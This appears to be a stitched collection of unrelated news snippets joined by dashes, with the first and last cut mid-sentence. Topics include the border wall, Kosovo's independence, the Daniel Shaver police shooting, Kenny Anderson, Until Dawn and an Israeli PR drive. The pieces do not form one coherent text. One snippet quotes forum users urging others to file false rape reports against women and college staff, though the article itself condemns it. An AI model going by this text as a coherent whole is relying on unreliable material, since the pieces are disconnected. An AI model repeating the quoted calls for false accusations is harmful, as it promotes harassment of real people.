that he wants a wall. He wants it done as soon as we can do it. He has — there are things that we need to do to protect our country, like human trafficking, the flow of illegal drugs and gangs, that are going to make sure that while we’ve achieved a significant drop in illegal alien border crossings — down 61 percent since January — this is something that’s in our country’s long-term national security interest. Q: The actual construction can wait until the fall. SPICER: No, that’s — it’s not a question of wait until the fall. I think there’s a lot of things that have to happen. It’s like any construction. Well, you’ve got to start doing some planning and things. And, so, we will take the first steps now and then we will continue to seek funding through the FY18 and further budgets to make sure that the actual — it is completed. -Rolls-Royce is designing an autonomous naval ship capable of patrol, surveillance, mine detection and fleet screening. The latest version of the ship is 60m long and capable of traveling for 100 days. With a top speed above 25 knots, the ship maintains a range of 3,500 nautical miles. The company is banking on a future where large, human operated, ships operate in consonance with smaller autonomous ships. Automating traditionally manual operations has the potential to simultaneously save money and increase safety. But without humans on board, nobody is physically standing by in the event of a malfunction. Rolls-Royce says it prioritized the reliability of its power and propulsion systems to reduce the number of unsolvable maintenance issues. This meant adding in some mechanical redundancies and implementing machine learning-powered predictive and remote maintenance capabilities. The Rolls-Royce ship is designed with solar cells to generate power to extend the amount of time the ship can remain in standby mode. The ship comes equipped with a fully electric propulsion system. Autonomous ships are nothing new. DARPA worked with Leidos to design and build an autonomous ship for quietly tracking submarines. The proof of concept showed that operation of the craft was significantly less expensive than its manned counterparts. Any autonomous ship needs to have sufficient protection from threats faced by cyber warfare. Rolls-Royce says it’s paying specific attention to these threats. With maturing computer vision and sensor technology, this, and downtime, remains one of the greatest challenges to implementation. It’s unclear at this time who might be interested in purchasing the ships. Rolls-Royce plc is based in the United Kingdom. -Kosovo's declaration met protests in Belgrade and in parts of Kosovo Bush on Kosovo Moscow said the comments were made by Russian Foreign Minister Sergei Lavrov during a telephone conversation with his US counterpart Condoleezza Rice. US President George W Bush earlier defended his move to recognise Kosovo. In Kosovo on Tuesday, Serbs opposed to independence attacked two border crossings in the Serb-dominated north of the territory, local police said. At least one border post was burned down. Nato peacekeepers were sent to help police at the Jarinje and Banja crossings. No casualties were reported among the border officers on duty there, who are reported to have evacuated their posts. On Monday, Serbia withdrew its envoy to Washington in protest at the US stance. Belgrade says Kosovo's Sunday declaration violates international law. The UN Security Council is divided over how to respond to Kosovo's move, and it has failed to agree on any action. Russia and China supported Serbian President Boris Tadic when he made an impassioned appeal to the Council at Tuesday's meeting. But Britain's representative said that with no prospect of agreement between Belgrade and Pristina the only way forward was supervised independence for Kosovo. Britain, France, Germany and Italy have all recognised the new state but others have not. 'Threat to stability' "We confirmed our principled position on the unacceptability of unilateral actions by Pristina declaring its independence," the Russian foreign ministry said in a statement, following talks between Mr Lavrov and Ms Rice. STANCE ON RECOGNITION For: Germany, Italy, France, UK, Austria, US, Turkey, Albania, Afghanistan Against: Russia, Spain, Romania, Slovakia, Cyprus "We underlined the dangerous consequences of such a step, which threatens the destruction of world order and international stability which have developed over decades," the statement said. It added that the telephone conversation was initiated by Washington. The Russian warning came just hours after President Bush said the US would soon establish full diplomatic relations with Kosovo. Bush backs Kosovo Speaking during a visit to Tanzania, President Bush said history would prove Kosovo's independence to be "a correct move". KOSOVO PROFILE Population about two million Majority ethnic Albanian; 10% Serb Under UN control since Nato drove out Serb forces in 1999 2,000-strong EU staff to take over from UN after independence Nato to stay to provide security Full text: Kosovo declaration In pictures: Celebrations Anger mounts in Mitrovica He said there was "a disagreement but we believe as many other nations do that history will prove this to be the correct move". The president said the US supported Kosovo's independence because "we believe it will bring peace". In a letter to Kosovo's President Fatmir Sejdiu, Mr Bush offered friendship to Kosovo, and said he supported "your embrace of multi-ethnicity as a principle of good governance". On Monday, the Serbian parliament passed a resolution condemning Kosovo's declaration of independence. The resolution also formally annulled the acts of the government in Pristina, saying Belgrade's sovereignty over Kosovo was guaranteed by the UN and international law. In a separate move, Serbia recalled its ambassadors to the US, France and Turkey because those countries had recognised Kosovo's independence. Serbian Prime Minister Vojislav Kostunica has threatened to withdraw envoys from other countries which backed the territory's secession. At a meeting in Brussels, the European Union set aside differences over the recognition of Kosovo's independence, by stressing that the breakaway Serbian province was not a precedent for separatists elsewhere. All 27 EU foreign ministers agreed to leave recognition up to each member state. Spain and several other member states have withheld recognition because of concerns about separatist movements within their own borders. Protest rallies Serbia's interior ministry has filed criminal charges against Kosovo Albanian leaders instrumental in proclaiming independence, accusing them of proclaiming a "false state" on Serbian territory. HAVE YOUR SAY Kosovo has declared independence from Serbia, legally or illegally it is not for me to say which Peter, UK In Belgrade, about 10,000 students marched in protest at the independence declaration, and Serb enclaves inside Kosovo also saw big anti-independence rallies. In Kosovo's divided city of Mitrovica, three cars were damaged in Tuesday's grenade attack near the office of the Organisation for Security and Co-operation in Europe. The incident was the latest in a string of hand-grenade attacks on property of international missions in Kosovo and government offices. Serbian security forces were driven out of Kosovo in 1999 after a Nato bombing campaign aimed at halting the violent repression of ethnic Albanian separatists. The province has been under UN administration and Nato protection since then. -A strip club employee was stabbed in the torso in downtown Ottawa Tuesday night, and hours later another man was found stabbed on Montreal Road. The first stabbing happened at Barbarella's Cabaret, near the intersection of Queen and Lyon streets, just before 11 p.m. An argument inside the club led to an altercation outside, where the stabbing occurred, according to police spokesman Const. Chuck Benoit. The victim is a man who was working as a security guard for the club. The 44-year-old suffered a penetrating stab wound and was taken to hospital. Paramedics did not release his condition but his injuries were not considered life-threatening. A man was taken into custody and charges are pending. The victim was taken to hospital. (Stéphane Beaudoin/Radio-Canada) Montreal Road stabbing Then, at about 5:45 a.m., a man was found stabbed in the parking lot of a business on Montreal Road near the Vanier Parkway. He was taken to hospital with non-life-threatening injuries. Investigators believe the stabbing occurred elsewhere, Benoit said. No arrests have been made. -“It seems that there’s a computer that makes most of the decisions for you — it changes a lot of the rules, it removes a lot of the skill,” said Ken Koury, a competitive Monopoly player and coach who informally settles rule disputes for others. “With this computer, I’m wondering what’s left for the player to decide — is it they just keep pushing buttons and wait for someone to win?” Hasbro is aiming at luring 8- to 12-year-olds back to these board games. Its executives say this age group, accustomed to video games, wants a fast-paced game that requires using their hands. To move forward on the new Monopoly board, players cover their game piece with their hands, and the tower announces how many spaces the player can move. Players also hold their hands over decals to buy or sell properties, insert “bank cards” into slots to check their accounts, and send a plastic car moving around a track to win money or other advantages (only when the tower instructs them to, of course). Hasbro executives also say that young players do not want to bother with reading instructions and toss rules aside. “For games, but really for anything you buy today, you need to be able to take it out of the box and play it,” said John Frascotti, Hasbro’s chief marketing officer. “You’re not ensconced in the rulebook.” To that end, Hasbro is shortening and simplifying many of its popular games, changing the formats of Scrabble and Cranium so they can be played in five-minute spurts. Rivals like Mattel are doing the same with games like Apples to Apples. Even video games often come in bite-size pieces, like the popular Angry Birds. "There is a recognition that people’s attention spans maybe aren’t as big as they used to be, or they don’t have the time to dedicate to this activity," said Sean McGowan, a toy analyst with Needham & Company. Ms. Ritson-Parsons said that while some aspects of the game had changed, Monopoly Live still emphasized social interaction. Advertisement Continue reading the main story “Getting rid of the instruction book encourages a lot more face-to-face interaction,” she said. “If you’re not having to read as much, you are all chatting more.” Photo Hasbro has kept key social elements, like allowing negotiation for property. The adherence to rules also speeds up the game and makes it more interesting, she said. For example, if a player lands on Marvin Gardens but decides not to buy it, the rules mandate that it be auctioned off right away — but a lot of players do not know or do not follow that rule. “People were saying, ‘It takes me a while to get to own properties,’ ” Ms. Ritson-Parsons said. “Well, it’s going to if you don’t auction it.” Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. The new version tries to combat board boredom in other ways. It sprinkles in random events, like a horse race where players must bet on winners. The computer also tracks how fast or slow play is going, and may intervene to make it lively. If, say, very little property is getting bought, it will announce an auction in the middle of turns. Hasbro executives said that the company would continue to sell classic Monopoly once the new edition came out. “It’s really just an extension of the brand, not a destruction of what was,” Mr. Frascotti said. Mary Flanagan, a game designer and distinguished professor of digital humanities at Dartmouth, said that games tended to reflect the societies that they were played in. For instance, the original Monopoly, issued in 1935 by Parker Brothers, now a subsidiary of Hasbro, reflected “American ingenuity, the sense of needing to have hope, and reinforcing capitalism in the face of real economic despair,” she said. This version, she said, seemed to be “less and less about financial awareness” — children do not need math skills in it— and more about social interaction. Advertisement Continue reading the main story Yet “when you say you can’t cheat, it means that there’s no sense of being able to socially negotiate the rules,” she said. Joey Lee, who studies games as an assistant professor of technology and education at Teachers College at Columbia University, said cheating could actually be instructional. “I wouldn’t necessarily even call it cheating,” he said. “In many cases a gamer’s mind-set is coming up with new and novel approaches to winning, and to a certain problem at hand. That’s exactly the kind of mind-set we need as far as 21st-century skills.” “Being able to negotiate with others, make up your own rules, argue with other players, that, to me, is part of what makes it a successful social game,” he said. The tower is “more of that blind adherence to following orders, versus being able to figure out and learn the game for yourself.” Though Hasbro is emphasizing social interaction with the game, some Monopoly players and academics said the new version sounded much less social — no arguing over whether a player could buy his neighbor’s “Get Out of Jail Free” card? “It takes away from the aspect of interpersonal negotiations if you have an electronic voice in the middle of the board telling you everything to do,” said Dale Crabtree, a finalist in the national Monopoly championships in 2009. “The first thing I said was, ‘The next thing they’ll do away with is the players.’ ” -Two preschoolers who wanted to visit their grandma stole the keys to their mom's SUV, according to police in Washington state. However, this is no modern day fairy tale and this story does not have a happy ending.The five-year-old and three-year-old are not old enough to see over the steering wheel and their feet cannot even reach the pedals. But they somehow managed to start the engine and drive the car into a nearby intersection where they T-boned a second vehicle.The Federal Way Police Department posted photos of the damage on their Facebook page.Neighbors heard the crash and ran outside to see what happened."(It sounded) like and explosion went off -- something, we really don't know. So I ran out and I saw it," neighbor Annemarie Warren told KOMO-TV . "I knew it was our neighbor's car, but I did not know she wasn't in the car. Only the two little ones."The children were uninjured, witnesses said. The driver of the second car had cuts and bruises."I held the kids both in their hands and I said, 'where's your mom?' (They said,) 'sleeping. I want to go to my grandma's house,'" said Warren. "I was waiting for the mother to come out, too, you know?"Authorities did not say whether the parents could face any charges. -While begging for his life, Daniel Shaver was fatally shot by an Arizona police officer in January. According to a newly released police report, Mesa Officer Phillip Brailsford killed the 26-year-old man, despite being unarmed and complying with police orders. Officer Brailsford has been fired from the department and charged with second-degree murder for the death of Shaver. So far, officials have refused to provide the officer’s body camera footage of the deadly incident. However, 911 calls, radio traffic, scene photographs, and a thorough report providing a detailed description of the events contained in the video have been released. Shortly after 9 p.m. on January 8, police received a call about a man pointing a rifle out the window of a La Quinta hotel. Witnesses at the hotel told officers that the man was in room 502 on the fifth floor. According to officials, Shaver was staying at the hotel and had invited a man and a woman to his room for drinks. At some point, the couple asked Shaver to open up a large case that was in the room. Shaver opened it and pulled out a pellet rifle, as well as a dead sparrow. Shaver explained to the couple that he was in the area on a business trip for Wal-Mart and that he was hired to get rid of birds inside their buildings. Afterwards, Shaver pointed the gun out of the window. When officers confronted Shaver in the hotel room, he was brought out into the hallway and ordered to go down on his knees. With his gun drawn, one officer asked if he understood the command. “No, please don’t shoot me,” Shaver responded. The report’s description of the body cam footage revealed Shaver was crying and complying with all police orders, even one that demanded he crawl toward the officers. One officer is heard warning Shaver not do anything that could be interpreted as a threat or he “may not survive.” “The male was instructed to crawl towards us with his hands in the air,” one officer wrote in a supplemental report. “As the male came close to us I saw him abruptly drop his right hand from above his head and reach back to the small of his back. I immediately perceived this as a threat and a movement to reach a handgun.” According to the report, Officer Brailsford’s body cam shows Shaver reaching behind his back and making small jerking motions. It was determined that Shaver did not have a gun, but was trying to adjust his shorts when Brailsford shot him five times with an AR-15 rifle. Some reports indicate that Shaver was intoxicated at the time and may not have understood the officer’s warnings. “Shaver was cooperative, but sometimes confused by the commands and because of his possible intoxication,” according to a court document released earlier this month. When police initially found Shaver, the woman was still in the hotel room with him. Officers ordered her out of the room and into the hallway. She was also asked to crawl towards officers and was apprehended. The man had left the room just before the cops arrived. When investigators searched the hotel room, they found two pellet rifles. Shaver was declared dead at the scene. Laney Sweet, Shaver’s widow, can’t comprehend why more details about her husband’s untimely death haven’t been released to the public. On Tuesday, she posted a YouTube video explaining her frustration. Officer Brailsford was fired by the Mesa Police Department on March 21. An internal report indicated the phrase “You’re F***ed” was etched into the side of the cop’s rifle, which is a violation of the department’s service weapons policy. Maricopa County Attorney Bill Montgomery viewed Officer Brailsford’s body cam footage and determined the shooting death of Daniel Shaver was “unjustified.” He also said the officer’s actions demonstrated an “extreme indifference to human life.” [Photo by Jill Torrance/Getty Images] -Kenny Anderson attends a Nets game in 2012. (Getty) MONTCLAIR, N.J. – Kenny Anderson is introduced to a crowd of moviegoers who have just watched his life story unfold in all its fits and foibles on the big screen. He strides over to join the film’s producer and director, Jill Campbell, smiling under a baseball cap pulled low enough to shield his eyes. Soon he is talking about his mother, who was primarily his savior but in certain ways, he can admit, was also his saboteur. Scroll to continue with content Ad The smile melts away into sobs. “My mother meant the world to me,” he says, his voice breaking through the tears and the recollections of her demons with alcohol, drugs and men who didn’t stick around. “My only thing was to take care of her. I really didn’t have a Plan B.” He is referring to how he conducted a basketball career that held the promise of professional greatness and by extension a life of surmounting the most daunting of socioeconomic odds. Nearly a quarter century ago, Joan Anderson sat in her living room in LeFrak City, a housing development in Queens in New York, and seemed, in retrospect, to be speaking from the future when she said, of the four children she raised alone, but mostly of the one who would earn tens of millions and spend it all, “I gave them life, but I couldn’t live it for them.” She died in 2005, the same year Kenny Anderson retired from the NBA after 14 seasons and filed for bankruptcy after earning roughly $63 million. The timing of it all sounds haunting, but, he says now, his tough New York City skin holding up to the years of piercing pain, “I don’t want no pity from nobody. My mother used to say, `You had eight kids? Did you have fun making them? You’re a knucklehead but take care of them.’ ” Story continues How does he take care – or repair – a complicated life he can so casually call “a walking mistake?” How does he make sense of it all? Four years ago, Anderson was approached by Campbell, a filmmaker and Long Islander with an appreciation for the game and for who he was, or had been. Once knighted by New York super-scout Tom Konchalski as “the greatest high school point guard” he’d ever seen, and selected by the New Jersey Nets with the No. 2 pick in the 1991 draft, Anderson had bottomed out with a DUI charge that cost him a coaching position at a private high school in Florida. Anderson walks in his neighborhood in Pembroke Pines, Fla., in 2010. (Getty) The job had been a baby step back into basketball, or what he calls “the part of my life that was always easy.” Campbell found him at a point in which the rest of it was plagued by a nagging and even injurious lack of purpose. With his mother gone, he was free to bare it all in living color, he said, and the result is a documentary, “Mr. Chibbs,” which premiered over the weekend at the Montclair Film Festival and will open Wednesday in Manhattan. The title is derived from the nickname his mother gave him as a toddler who became the precocious ball-handling wizard and first caught the eye of Kenny Smith, another prodigy of the LeFrak housing project, situated alongside the Long Island Expressway. The takeaway revelations – the womanizing and wallet-draining eight children by five women, the substantiation of excessive drinking rumors that followed him throughout his career and even his molestation as a youth by two men – including a youth coach – are not news-breaking. Anderson has alluded to all of it in interviews during his years out of the game. But what amounts to a revisiting with the people and places of his past – including two sons in New Jersey he has had little contact with – makes for a raw, uncompromising 86 minutes. Afterward, in the lobby outside the theater, Anderson chats with a few of the attendees, some of whom remember him well as the shifty and spindly Nets point guard who could make the ball dutifully obey the commands of his left hand, just a few miles east at a no-frills arena near the Lincoln Tunnel to Manhattan. Having heard him say on screen, “It’s difficult trying to figure out how to be selfless when you’ve been selfish your whole life,” they wish him well. Anderson walks away to greet a familiar reporter and to say that making the film, in his mind, is a start. “It was like my mother was an angel on my shoulder and I was talking to her, asking, ‘What should I do?’ ” he told The Vertical. “I’m at the crossroads of my life. Should I hold this in and keep it to myself or should I open up and be selfless and help somebody that might get my story? Because if one person walks out of a theater and says, ‘I’m going to get help. I’m going to get a therapist,’ then I did my job.” There is much evidence that the film has been therapeutic for him, too, a weapon against persistent depression that has had him in and out of counseling for years. A 72-year-old cousin reassures Anderson, now 46, that he still has as much to do as he has to be proud of. A visit to his high school, Archbishop Molloy in Queens, and his coach at Georgia Tech, Bobby Cremins, conjures up enduring legacies at those institutions. A day spent with his estranged New Jersey-based sons, Kenny Jr. and Devon, may be a staged, shallow attempt to make up for lost time, but when they accompany him to the LeFrak building of his youth, the suburbanized boys, sullen and uncertain in their edgier biological father’s presence, see and hear for themselves some of the hardships and horrors he overcame. “I didn’t know about that,” says the teenage Kenny, Jr. after Anderson tells of the evictions into the cold of winter, the crowded quarters that left him exposed to his mother’s destructive coping habits that much later, he told The Vertical, included “spending a lot of my money.” He spares the boys the most distressing memory, of the streets that led him to the male predators who touched him in a sexual way and would have done more had he not been as fast out of danger as he was on the court. Back in the theater lobby, Anderson wonders how “Mr. Chibbs” compares with the last documentary made about a New York City basketball prodigy, 2013’s “Lenny Cooke,” a Brooklyn scholastic legend on the LeBron James level who never made it onto an NBA roster. Cooke failed at basketball and the film found him struggling at life. Conversely, Anderson played those 14 seasons and was an All-Star in 1993-94, when he averaged career highs of 18.8 points and 9.6 assists. His Nets teams were talented but behaviorally and organizationally dysfunctional, and finally derailed by the 1993 car-wreck death of rising Croatian shooting guard Drazen Petrovic. What might have been had Petrovic lived, or, better yet, had Anderson not partied his way into the career of an NBA drifter? “I could’ve been great, but I stopped doing the things that gave me a chance to be great,” he told The Vertical. The film doesn’t sugarcoat the ongoing process of Anderson trying to figure out who he is vs. who he was. The opening scene – reminiscent of the Jake LaMotta bio-pic “Raging Bull” – finds him at a hotel pool, smoking a cigar, not hiding a middle-age paunch, and suggesting that two young women Google him to see he’s not lying when he says he was once someone special. A visit to the Washington office of his old agent, David Falk, results in Falk telling Anderson that he’d love to help him return to the game (his relationship with the NBA has been strained since he accompanied Dennis Rodman on his ill-fated 2014 trip to North Korea) but merely suggesting that he ask the players association to let him serve as a life coach to young players. On the subject of alcohol, he insists, “I don’t have a problem,” but the film several times finds him with a beer in his hand. Scenic and affectionate walks on the beach with his third wife, Natasha, near what he calls his “middle-class” home in Pembroke Pines, Fla., are darkened by her admissions of Anderson’s infidelities that have strained the decade-long relationship. Even coaching the AAU team of a talented teenage son who lives with him and Natasha makes for uncomfortable viewing when Anderson verbally erupts at the conclusion of a close defeat. That this son – like the one in New Jersey – is also a Kenny Jr. provides the film’s symbolic underlying premise. Two Kenny Andersons. One for whom basketball was easy. The other for whom life is hard. “My whole life,” he says, “has been hard.” Popular video from The Vertical: -One thing I’ve hated for a long time in Chrome is the downloads manager. There just isn’t an easy way to keep track of downloads once they’ve started. Sure, you get a downloads bar in the bottom of the screen. But if you hit the “Show all” button, it disappears. Then you’re left to search for the Downloads tab or dig down deep in the menus to find the downloads option. There has to be a better way. Like with Firefox, for example. Firefox has this clear cut download button in the toolbar that you can click to reveal all the downloads – right there. You can get this in Chrome now. Thanks to a simple extension. Downloads – Your Downloads Box The extension is called “Downloads – Your Downloads Box,” but you shouldn’t hold that against it. As I said above, once you install the extension it will replace the default downloads bar at the bottom and the download manager page with a simple drop-down extension. What Makes It So Great There are a couple of reasons why I like this extension. First of all, when you start a download, the extension animates to show that your download has now started, and you can find it by clicking the extension icon. When a download is in progress, the icon turns blue. When nothing is going on, it stays grey. When you click the extension icon, you see a list of all the downloads, and they are color-coded, so you instantly know which downloads are running, which are complete and which failed. Of course, there’s a progress bar. Right below the filename, you’ll see an option for opening it in the file explorer. Clicking on the file name opens it directly. More Powerful Options As you’d expect, Downloads isn’t the only download manager in town. In fact, you can find way more powerful options that follow the same drop-down aesthetic. If you want literally every download manager feature possible, try the download big daddy Chrono Download Manager. Personally, it’s a bit too much for me. The feature is overload, and the UI is messy. But Chrono does give you a lot, including a bulk image downloader, auto link detection, multi-link addition and a lot more. What’s Your Current Download Manager? Which download manager do you use right now? Share with us in the comments below. -A small college in California recently implemented a form where victims of sexual assault can report perpetrators anonymously. Given that most rapes are unreported due to the threat of massive negative consequences community members and police force can inflict on a victim on top of all the emotional and physical pain theyre already experiencing, this is a way for victims to speak out comfortably. It's also a way for the college to document trends in on campus crime. Note: if a perpetrator is named, this google docs form does not result in anyone being charged with any sort of crime and says so right in the first paragraph of the form. Teaming up with 4chan, they're now spamming the form with false information, because false accusations ruin lives. Wait shit, I meant false accusations against men ruins lives. They're falsely accusing women so its cool. "The quickest way to shut this one down is to anonymously report random women and let them sweat in the hot seat. This will be over before it begins." [+80] "That's awesome. I'd like to see one sent with the name of every member of the Dean of Students Office as the offender. Hey, it's anonymous and no evidence is required. Sometimes that's the only way fanatics learn." [+166] "I've already filled one out." [+44] "Was kind of fun. I swear to god though, if they track us down it would be terribly ironic, however it's mildly likely." [+5] "Step one: Get a list of every 'Feminist' at Occidental College who supported this system. Step two: Anonymously report them for rape. Step three: Watch them squirm as their lives are hanging in the balance over a false rape charge. -In the dark din of Sony's Gamescom booth, I was waiting patiently. Conditions were perfect. With only an occasional flicker of the spectres wandering through Until Dawn's creaking halls, my gaze was fixed on an unsuspecting person playing right next to me. This punter, headphones cranked up loud and deep in the throes of Supermassive Games' choose-your-own-Cabin-in-the-Woods adventure, was going down the very same road I had taken. Excellent. It's a setup that takes no time at all to grasp. Especially so if you enjoyed Quantic Dreams' cinematic Heavy Rain, from which, even down to the title screen's focus on a beautifully mo-capped Hayden Panettiere, it clearly takes a few pointers. And much like that divisive 2010 release, narrative and decision-making form the bread and butter of Until Dawn's appeal, where no single adventure is set to be quite the same. In turn, you command one of eight American teens during a mountain lodge getaway, which - would you believe it - takes a turn for the grim and gruesome. With dialogue trees, hidden clues and item pickups to be found, the story's course promises to adapt to your actions, often in some pretty bizarre ways. But crucially, once a character from this starting octet is gone, they're gone for good. Hundreds of possible endings are promised, whether they all survive, face a grisly end, or their fates fall somewhere in-between. How seamlessly each character's path ties up with the next is a mystery. That said, I did get to experience one strand of the tale, taking charge of the hysterical Ashley several hours in, having just lost her friend Samantha. Unlocking a dollhouse roof, I yank out a diary and rotate its cover using the DualShock 4's gyro controls, then flick its pages for clues with track-pad swipes. "I can't read this, it's so sad, Chris!" she wails to a nearby friend - the archetypal snob of the group, still in denial that something very nasty's afoot. From here, I'm set loose to pave my own way. With a knowing, playful wink, Until Dawn clearly embraces the tone of a teen slasher movie, and all the character tropes that tag along with it. Being thrown in mid-flight though, I couldn't really attach myself to Ashley or Chris so quickly (cynical me), so it was the silly moments that stood out to me most. The ludicrous choice to split ways on a whim, and later, bumping into a dangling clown costume for quick, cheap scare. It plays up the terror, but as with Sam Raimi's early Evil Dead classics, there's a healthy measure of comic relief too. The HUD is kept discrete, with item icons only appearing when I draw close to something of use. Meanwhile, major, tangential decisions are indicated through a blinking butterfly symbol to the top-right. This is a bit of a fourth wall breaker, but it tells me that picking up a pair of scissors is a something of a breakthrough for Ashley's future prospects. Or perhaps not. My choice to play it confident and venture down to the cellars is a potential fork in the road too, but what if I'd taken a more cautious tact? And how significant were the fake newspapers I found planted in the corridor corner? The visuals are on point with their eeriness so far, if still in need of polish on the lip-sync front. After a stint on PS3, the team boasts that dialogue and cut-scenes are re-done on PS4 using the studio's modified Killzone: Shadow Fall engine. Skin shaders and clothing details are really standout, as is the dynamic lighting streaming from Ashley's torch (also adjusted by the gyrometer as you move). In the end, I couldn't get much practical use from this feature, but I suspect it might open some doors for clue-finding later on. Reaching a nasty do-or-die cliff-hanger at the end of the demo, it's possible I may have made some wrong calls en route. The final scene sees us hanging on the words of a masked assailant, as both characters are bound on each side of a table. Chris is told he can either shoot Ashley with a ready-cocked revolver in front, or suffer a set of buzz-saws descending from the ceiling. Looking to the top-right, I know it's on. Quick-time events weren't in sight for the Gamescom demo, but dialogue options do feature a countdown clicker to spur you on. After a fade to black, my place in the story so far is dotted on a glowing line, each butterfly effect moment represented as dots across its length, where new lines spindle outwards to show the paths not taken. This zooms out fully to reveal a massive tapestry of branches, seemingly hundreds; a butterfly diagram which handily visualises every possible route in the game. And where's my path? Right there, barely perceptible as a slither on its wing. For me, this was where Supermassive Games' ambition for Until Dawn came across best. The dialogue is undeniably hammy, possibly by choice, and controls are a touch sluggish, but it stretches for a narrative breadth we rarely see outside of Quantic Dreams' efforts - and certainly in the realms of interactive horror. A gradual collection of clues sets it apart from its lineage too, a meta-game where Cluelines are built ip across multiple play-throughs, helping paint the bigger picture. It's genuinely jumpy as well, I'll admit, and got my shoulders jolting more than once. Annoyingly. Looking to the side at this unwitting player, I wondered if Until Dawn's balance between terror and horror would pay off just as well for others. A foggy hallway stretched ahead, and in complete silence they pressed forward - and then it hit. The sound of a sharp, ghoulish scream burst out from a pale, gurning face, on-screen for barely a split second. I see an upwards flinch, a fumbling of the PS4 pad, and then an embarrassed grin as they sheepishly scan the room for on-lookers. Damn it, they got me, the eyes said. It's still in need of a tidy-up before its 2015 release, but there's some real potential in Supermassive Games' re-fashioning of a proven template. At least from this short line of its massive web, Until Dawn is catching people out. -NINGGUO, China, Oct. 31 (UPI) -- Officials in a Chinese province faced online ridicule for releasing a poorly doctored image of administrators meeting with a 103-year-old woman. The photo, captioned "love and consideration for the elderly is a cherished Chinese tradition. They should feel the warmth of the party and the government," depicts four Chinese Communist Party officials in Anhui province and the 103-year-old woman, but one of the men is cut off in the middle and all three men are towering over the elderly woman, Cheng Yanchun, who was clearly edited in from a different photo, The Mirror, Britain, reported Thursday. Officials said the employee responsible for the Photoshop disaster was ordered to write a "self-criticism report." The government said the photo may have been faked, but the visit was real. "Cheng was sitting on a chair on the balcony, under the sun. The balcony space was very small and the camera lens could not cover the whole scene," a government statement said. "When the employee of the municipal civil affairs department uploaded the photos, ... he simply merged two shots. We express deep regret to Internet users for its negative influence. We will learn from the experience, to improve civil affairs work." -The Chattanooga Film Festival loves everything about cinema: the films, filmmakers and audiences; the critics, collectors and curators; and most especially the popcorn. We share films that are unique, challenging, critically significant and a helluva lot of fun. We particularly love little films that feel like big films, because we like to think of Chattanooga as a small town with big ideas. Our ultimate goal is to remember, discover and cultivate cinema worthy of everyone’s love and respect. Here's what the press and a few of our past guests are saying about us! "The Southern Sundance. Given my experience at this year’s fest, I wouldn’t find it surprising if the Chattanooga Film Festival one day surpassed its elder cousin in the North. For the non-film nerds among you, this is a killer lineup. This is Haight-Ashbury in 1969." SOUTHERN LIVING MAGAZINE "The Chattanooga Film Festival [rated among the top 30 genre fests in the world] has rapidly developed a solid rep as a back-to-basics exhibition of noteworthy cinema. On the genre circuit, it has become a key destination for Southern fans in search of the best fear fare, shown in both its main CFFeatures and MES After Hours categories. It treats aspiring auteur attendees right, as well." MOVIEMAKER MAGAZINE “The Chattanooga Film Fest has [quickly] done what many festivals strive for for decades: to collect an electric group of filmmakers and connect them to a community tremendously eager to meet them. The energy is palpable, the films exceptional, and the backdrop of Chattanooga’s arts and technology scene only serves to create one of the most attractive young festivals in the nation.” EMILY BEST, SEED&SPARK “Chris Dortch and his incredible team have crafted an excellent film festival with fantastic programming that brought everyone together in a celebration of cinema. I look forward to its continued growth and to hang out in Chattanooga again!” ELIJAH WOOD, ACTOR/PRODUCER “I was so fortunate as a youngster to find a productive place in the film and television industry, and when the Chattanooga Film Festival wanted to honor my 55 years of contributions to entertainment, I was humbled and proud. I’m not a center-of- the-bulls-eye kind of actor, so when a truly independent festival, run by independent folks, want to acknowledge me, it makes me realize that I’m doing something right. I love how the festival began, I love it that Chris Dortch has tremendous passion for film, and I love how the filmgoers in Chattanooga (and the surround-ing region) support and embrace projects three minutes to three hours.” CLINT HOWARD, ACTOR “In an era when film festivals have become bloated commercial bazaars full of hustlers, propagandists and job seekers, Chattanooga has a refreshing innocence as a place where movie lovers gather by the Tennessee River, expecting to be amazed by the art form itself. There’s a renewal going on here, a return to basics, and anyone who cares about the future of cinema should become part of it.” JOE BOB BRIGGS, FILM HISTORIAN/CRITIC “The Chattanooga film festival is more than just another fledgling, regional film festival. It is truly special and has the potential to become one of the mini-majors. The force that makes CFF a standout is founder Chris Dortch, who is both a serious and passionate cineaste and a civic-minded community builder. The movies are great, but as important is the support for regional artists. It was an honor to be a part of the festival program this year.” ALEX WINTER, DIRECTOR, DEEP WEB "An amazing festival! It was hard to believe how young it is!’ BOBCAT GOLDTHWAIT, DIRECTOR, CALL ME LUCKY -Rep. Mario Diaz-Balart, a Republican from Florida who is leading the House's drafting of immigration reform, said that he thought it was "not appropriate" for Sen. Chuck Grassley to tie immigration to the manhunt for the Boston bombing suspects at this point. "Linking something like that to other legislation I think is probably not appropriate at this time," Diaz-Balart told ThinkProgress. "In the first place, we don’t have the facts. What I will tell you is, what is indisputable, is that we have an immigration system that is broken." Advertisement: He continued that, "If somebody is here today in the United States and commits a crime, it is under the current immigration system," so "what does that lead me to believe? That we have to fix the current immigration system, if in fact there is any connection between immigration at all." Grassley kicked off the Senate's Friday hearing on immigration reform by saying: “We also appreciate the opportunity to talk about immigration. Particularly in light of all that’s happening in Massachusetts right now and over the last week." “We are here trying to understand why these events have occurred,” Grassley continued. “It’s hard to understand that there are people in this world that want to do Americans harm, so this hearing is an opportunity to refocus on the issues at hand and the importance of remaining vigilant and secure in our homeland.” Watch: -Israel's ultra-nationalist Foreign Minister is proposing a major new public relations drive in Europe aimed at bolstering Israel's flagging image. The campaign, expected to launch early in the new year, would rely on teams of volunteers in Britain, Germany, France, Italy and Spain to deliver Israel's message, while professionals from public relations and lobbying firms would also be hired to for the rebranding initiative. The campaign is the pet project of Avigdor Lieberman, Israel's Moldovan-born Foreign Minister, who is better known for his public relations gaffes than for his diplomacy. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Nevertheless, the move also reflects a growing sense among Israelis that they are misunderstood and misrepresented overseas. Many have smarted at international condemnation of the Gaza blockade and have vociferously defended two soldiers convicted in Israel for their treatment of a civilian during the Gaza War two winters ago, arguing that they were operating in difficult circumstances. Moreover, Israeli officials have railed against media portrayals of Prime Minister Benjamin Netanyahu as an unwilling partner for peace with the Palestinians, contending that the Palestinian refusal to recognise Israel as a Jewish state is as much of a stumbling block as is ongoing settlement building in the occupied 